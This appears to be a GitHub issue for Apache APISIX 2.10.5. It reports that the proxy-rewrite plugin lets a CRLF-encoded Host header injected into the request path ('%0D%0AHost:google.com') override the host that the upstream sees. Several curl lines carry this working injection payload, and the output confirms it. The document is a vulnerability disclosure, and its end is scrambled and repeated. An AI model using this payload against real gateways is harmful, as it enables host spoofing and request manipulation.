Current Behavior
- Openresty as the upstream, the configuration file is as follows
pid logs/nginx.pid;
events {
worker_connections 1024;
}
http {
server {
listen 8866;
location / {
content_by_lua '
ngx.say(ngx.var.host)
';
}
}
}
- Do not enable the proxy-rewrite plugin
curl "http://test-limit.com:9080/limit/aa%3f0z=700%20HTTP/1.1%0D%0AHost:google.com%0d%0a%0d%0a" -i
## output:
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Date: Fri, 17 Feb 2023 04:07:49 GMT
Server: Openresty
test-limit.com
- Enable the proxy-rewrite plugin
## the proxy-rewrite plugin configuration file is as follows
proxy-rewrite: {
"host": "test.xxxx.com"
},
curl "http://test-limit.com:9080/limit/aa%3f0z=700%20HTTP/1.1%0D%0AHost:google.com%0d%0a%0d%0a" -i
## output
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Date: Fri, 17 Feb 2023 04:24:42 GMT
Server: Openresty
google.com
Expected Behavior
The host obtained by upstream should not be rewritten as google.com, which can lead to malicious attacks
Error Logs
none
Steps to Reproduce
- Openresty as the upstream, the configuration file is as follows
pid logs/nginx.pid;
events {
worker_connections 1024;
}
http {
server {
listen 8866;
location / {
content_by_lua '
ngx.say(ngx.var.host)
';
}
}
}
- Do not enable the proxy-rewrite plugin
curl "http://test-limit.com:9080/limit/aa%3f0z=700%20HTTP/1.1%0D%0AHost:google.com%0d%0a%0d%0a" -i
## output:
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Date: Fri, 17 Feb 2023 04:07:49 GMT
Server: Openresty
test-limit.com
- Enable the proxy-rewrite plugin
## the proxy-rewrite plugin configuration file is as follows
proxy-rewrite: {
"host": "test.xxxx.com"
},
curl "http://test-limit.com:9080/limit/aa%3f0z=700%20HTTP/1.1%0D%0AHost:google.com%0d%0a%0d%0a" -i
## output
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Date: Fri, 17 Feb 2023 04:24:42 GMT
Server: Openresty
google.com
Environment
- APISIX version (run
apisix version): 2.10.5
- Operating system (run
uname -a): amzn2.x86_64
- OpenResty / Nginx version (run
openresty -V or nginx -V): nginx version: openresty/1.19.9.1
- etcd version, if relevant (run
curl http://127.0.0.1:9090/v1/server_info): 3.5
- APISIX Dashboard version, if relevant:
- Plugin runner version, for issues related to plugin runners:
- LuaRocks version, for installation issues (run
luarocks --version):
Current Behavior
Expected Behavior
The host obtained by upstream should not be rewritten as google.com, which can lead to malicious attacks
Error Logs
none
Steps to Reproduce
Environment
apisix version): 2.10.5uname -a): amzn2.x86_64openresty -Vornginx -V): nginx version: openresty/1.19.9.1curl http://127.0.0.1:9090/v1/server_info): 3.5luarocks --version):